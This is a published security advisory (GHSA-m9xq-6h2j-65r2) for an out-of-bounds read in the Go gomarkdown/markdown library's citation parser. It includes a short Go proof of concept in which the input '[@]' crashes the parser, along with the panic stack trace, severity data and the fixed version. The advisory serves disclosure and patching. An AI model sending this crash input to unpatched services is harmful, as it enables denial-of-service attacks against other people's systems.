GHSA-m9xq-6h2j-65r2

Suggest an improvement
Source
https://github.com/advisories/GHSA-m9xq-6h2j-65r2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/09/GHSA-m9xq-6h2j-65r2/GHSA-m9xq-6h2j-65r2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-m9xq-6h2j-65r2
Aliases
Published
2023-09-22T19:59:49Z
Modified
2023-11-08T04:13:29.945762Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Markdown vulnerable to Out-of-bounds Read while parsing citations
Details

Summary

Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.

Details

To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.

https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69

PoC

package main

import (
    "github.com/gomarkdown/markdown"
    "github.com/gomarkdown/markdown/parser"
)

func main() {
    ext := parser.CommonExtensions |
        parser.Attributes |
        parser.OrderedListStart |
        parser.SuperSubscript |
        parser.Mmark
    p := parser.NewWithExtensions(ext)

    inp := []byte("[@]")
    markdown.ToHTML(inp, p, nil)
}
$ go run main.go
panic: runtime error: index out of range [1] with length 1

goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
    /Users/demon/go/pkg/mod/github.com/gomarkdown/markdown@v0.0.0-20230916125811-7478c230c7cd/markdown.go:77 +0x30
main.main()
    /Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2

Impact

Denial of Service / panic

Database specific
{
    "nvd_published_at": "2023-09-22T17:15:14Z",
    "cwe_ids": [
        "CWE-125"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-22T19:59:49Z"
}
References

Affected packages

Go / github.com/gomarkdown/markdown

Package

Name
github.com/gomarkdown/markdown
View open source insights on deps.dev
Purl
pkg:golang/github.com/gomarkdown/markdown

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.0.0-20230922105210-14b16010c2ee